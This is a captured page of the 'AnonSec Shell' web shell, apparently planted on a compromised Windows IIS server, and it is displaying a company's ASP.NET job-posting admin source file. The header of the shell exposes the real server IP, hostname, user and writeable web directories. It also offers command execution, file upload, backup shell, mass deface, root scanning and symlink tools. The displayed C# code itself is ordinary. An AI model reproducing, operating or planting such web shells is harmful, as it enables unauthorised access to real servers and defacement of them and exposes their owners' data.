. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/GrowelAdmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs/GrowelAdmin//JobPost.aspx.cs
using GrowelBLL.Services;
using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace GrowelWeb.GrowelAdmin
{
    public partial class JobPost : System.Web.UI.Page
    {
        public string JobId = "";
        

        protected void Page_Load(object sender, EventArgs e)
        {

            //siteurl = clsComman.value("SiteUrl");

            JobId = Convert.ToString(Request.QueryString["JobId"]);

            if (!IsPostBack)
            {
                BindBusinessTypes();
                BindJobPost();
            }
        }

        public void BindBusinessTypes()
        {
            AdminService adminService = new AdminService();
            this.ddlbusiness.DataSource = adminService.GetBusinessUnits().Tables[0].DefaultView;
            this.ddlbusiness.DataValueField = "business_unit";
            this.ddlbusiness.DataTextField = "business_unit_displayname";
            this.ddlbusiness.DataBind();
        }

        public void BindJobPost()
        {
            if (!string.IsNullOrEmpty(JobId))
            {
                JobService jobService = new JobService();
                DataSet ds = jobService.GetJobById(JobId);
                this.txtJobTitle.Text = ds.Tables[0].Rows[0]["JobTitle"].ToString();
                this.txtJobLocation.Text = ds.Tables[0].Rows[0]["JobLocation"].ToString();
                this.txtJobDeparment.Text = ds.Tables[0].Rows[0]["JobDeparment"].ToString();
                this.txtPostDate.Text = Convert.ToDateTime(ds.Tables[0].Rows[0]["PostDate"]).ToString("dd-MMM-yyyy");
                this.content.InnerText = ds.Tables[0].Rows[0]["JobDetails"].ToString();
                this.ddlbusiness.SelectedValue = ds.Tables[0].Rows[0]["BusinessUnit"].ToString();
                this.drpLevel.SelectedValue = ds.Tables[0].Rows[0]["JobLevel"].ToString();
                this.drpGender.SelectedValue = Convert.ToString( ds.Tables[0].Rows[0]["Gender"]);
                this.txtAge.Text= Convert.ToString( ds.Tables[0].Rows[0]["Age"]);
                this.txtQualification.Text = Convert.ToString( ds.Tables[0].Rows[0]["Qualification"]);
               

                //string ProductImage = ds.Tables[0].Rows[0]["ProductImage"].ToString();
                //if (ProductImage != "")
                //{
                //    url = siteurl + "images/products/" + ProductImage;
                //    Session["ProductImage"] = ProductImage;
                //}
                //else
                //{
                //    url = siteurl + "images/noimage.jpg";
                //    Session["ProductImage"] = "";
                //}

                //string CoverImage = ds.Tables[0].Rows[0]["cover"].ToString();
                //if (CoverImage != "")
                //{
                //    urlcover = siteurl + "images/Covers/" + CoverImage;
                //    Session["CoverImage"] = CoverImage;
                //}
                //else
                //{
                //    urlcover = siteurl + "images/noimage.jpg";
                //    Session["CoverImage"] = "";
                //}


                btnsubmit.Text = "Edit Job";
            }

        }

        protected void lnkremovecover_Click(object sender, EventArgs e)
        {

            AdminService adminService = new AdminService();

            adminService.RemoveProductTypeCover(JobId);
            this.status.Visible = true;
            this.status.InnerHtml = "Product Type Cover Removed successfully";
            //BindType();
        }

        protected void btnsubmit_Click(object sender, EventArgs e)
        {
            try
            {
                JobService jobService = new JobService();

                clsCommon clscommon = new clsCommon();
                this.txtJobTitle.Text = clscommon.ProperData(this.txtJobTitle.Text);
                string img = "";
                string imgcover = "";

                //if (this.FileUpload1.HasFile)
                //{
                //    FileInfo f = new FileInfo(this.FileUpload1.PostedFile.FileName.ToString());

                //    img = this.txtname.Text + f.Extension;

                //    this.FileUpload1.PostedFile.SaveAs(Server.MapPath("..") + @"\images\products\" + img);
                //}
                //else
                //{
                //    img = Convert.ToString(Session["ProductImage"]);
                //}

                //if (this.FileUpload2.HasFile)
                //{
                //    FileInfo f = new FileInfo(this.FileUpload2.PostedFile.FileName.ToString());

                //    imgcover = this.txtname.Text + f.Extension;

                //    this.FileUpload2.PostedFile.SaveAs(Server.MapPath("..") + @"\images\Covers\" + imgcover);
                //}
                //else
                //{
                //    imgcover = Convert.ToString(Session["CoverImage"]);
                //}

                if (string.IsNullOrEmpty(JobId))
                {
                    jobService.AddUpdate("0",ddlbusiness.SelectedValue, drpLevel.SelectedValue, txtJobTitle.Text,txtJobLocation.Text,txtJobDeparment.Text,txtPostDate.Text, content.InnerText,txtAge.Text,txtQualification.Text,drpGender.SelectedValue);
                    this.status.Visible = true;
                    this.status.InnerHtml = "Product Type Added Successfully ";
                }
                else
                {
                    jobService.AddUpdate(JobId, ddlbusiness.SelectedValue, drpLevel.SelectedValue, txtJobTitle.Text, txtJobLocation.Text, txtJobDeparment.Text, txtPostDate.Text, content.InnerText, txtAge.Text, txtQualification.Text, drpGender.SelectedValue);
                    this.status.Visible = true;
                    this.status.InnerHtml = "Product Type Updated successfully";
                }
            }
            catch (Exception ex)
            {
                this.status.InnerHtml = "Job Post Of This Name Already Exists";
            }
        }

        protected void lnkremoveproduct_Click(object sender, EventArgs e)
        {
            AdminService adminService = new AdminService();

            adminService.RemoveProductTypeImage(JobId);
            this.status.Visible = true;
            this.status.InnerHtml = "Product Type Image Removed successfully";
            //ds = adminService.GetPageDetails(product);
            BindJobPost();
        }

        protected void btnclose_Click(object sender, EventArgs e)
        {
            Response.Redirect("JobPostList.aspx");
        }
    }
}

Anon7 - 2022
AnonSec Team